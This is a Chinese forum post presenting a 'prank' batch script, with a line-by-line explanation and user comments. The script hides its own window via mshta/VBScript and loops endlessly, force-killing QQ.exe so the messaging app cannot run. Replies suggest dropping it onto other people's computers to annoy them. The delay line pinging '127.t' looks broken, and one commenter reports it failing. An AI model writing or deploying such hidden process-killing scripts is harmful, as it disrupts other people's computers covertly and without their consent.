一款小恶作剧代码 详解
功能:运行以后机器上的QQ就不能运行了。终结方法是:打开任务管理器,然后结束进程cmd.exe就可以了。新建文本文档,然后将下面代码复制进去,然后重命名为a.bat,然后双击就可以了。
@echo off
if "%1" == "h" goto begin
mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit
:begin
tasklist |find /i "QQ.exe"
if %errorlevel%==0 (goto killit) else (goto next)
:killit
taskkill /f /im QQ.exe
:next
ping -n 3 127.t >nul 2>nul
goto begin
代码到此为止
讲解如下:
@echo off ------关闭回显
if "%1" == "h" goto begin --如果文件运行时有参数h,则显示窗口运行,否则只是在后台运行
mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit -----隐藏窗口代码
:begin ------------定一段名begin
tasklist |find /i "QQ.exe" ----在任务管理器里寻找进程QQ.exe
if %errorlevel%==0 (goto killit) else (goto next)---如果存在QQ.exe.则跳转执行killit,否则执行next
:killit
taskkill /f /im QQ.exe----终结进程QQ.exe
:next
ping -n 3 127.t >nul 2>nul -----延迟一段时间
goto begin--------------返回执行begin 这个方法做限制,只要重启电脑是否就无效呢? 先支持下啊,等试用下效果了 好坏的样子。。。 还真的可以,相当于就是自动关闭QQ咯 你的这段代码 好像不怎么地管用啊
我都已经试过了
不管用 这个。。很好狠强大 可以实现禁用QQ ,省去了好多的麻烦 学习了! 好坏。。。等我试试啊 学习啦{:5_118:} 丢进别人电脑里 呵呵 很好~~捉弄别人去~~